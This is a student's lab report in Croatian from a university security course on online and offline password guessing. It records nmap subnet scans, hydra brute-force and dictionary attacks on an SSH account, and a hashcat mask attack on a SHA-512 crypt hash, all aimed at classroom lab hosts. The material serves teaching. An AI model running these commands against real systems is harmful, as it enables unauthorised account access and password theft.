Lab 5

Online and Offline Password Guessing Attacks

- Pokrenuli smo Windows terminal aplikaciju, otvorili Ubuntu terminal na WSL sustavu te ping-ali server naredbom `ping a507-server.local`
- instalacija nmap aplikacije → naredbe:

```
sudo apt-get update
sudo apt-get install nmap
```

- **nmap** je alat za istraživanje mreže i sigurnosni port/skener
  - koji hostovi su dostupni na mreži, koji servisi (naziv aplikacije i verzija) su pokrenuti na tim hostovima, o kojim operativnim sustavima (i verzijama) je riječ, koji tipovi paket filtera i vatrozida se koriste...
- `nmap -v 10.0.15.0/28` → ovom naredbom povećava se nivo količine prikazanih informacija ,nmap prikazuje više inf. o tekućem scan procesu (otvoreni portovi se odmah prikazuju čim su otkrivani i nmap procjenjuje vrijeme trajanja scan procesa)
- http://a507-server.local/ → tu se preuzima adresa Docker container-a i korisnicko ime
- koristene naredbe:
- `ssh pelaic_lana@10.0.15.3`
- `hydra -l pelaic_lana -x 4:6:a 10.0.15.3 -V -t 1 ssh`
- procijenjeno vrijeme potrebno da se dođe do lozinke je otprilike na pola od ukupnog broja,dok je moja na 675/878
- `hydra -l pelaic_lana -P dictionary/g1/dictionary_online.txt 10.0.15.3 -V -t 4 ssh`
- za offline otkrivanje lozinke se koristio hash lozinke tuđeg računa te alat hashcat (`sudo apt-get install hashcat`)
- hash lozinke smo spremili u file putem VSC-a pomoću naredbe code .

- `hashcat --force -m 1800 -a 3 hash.txt ?l?l?l?l?l?l --status --status-timer 10`
- ZAKLJUČAK
- Dictionary napad je primjer offline napada gdje se hash lozinke korisnika uspoređuje s onim u rječniku i ako su isti napadač zna lozinku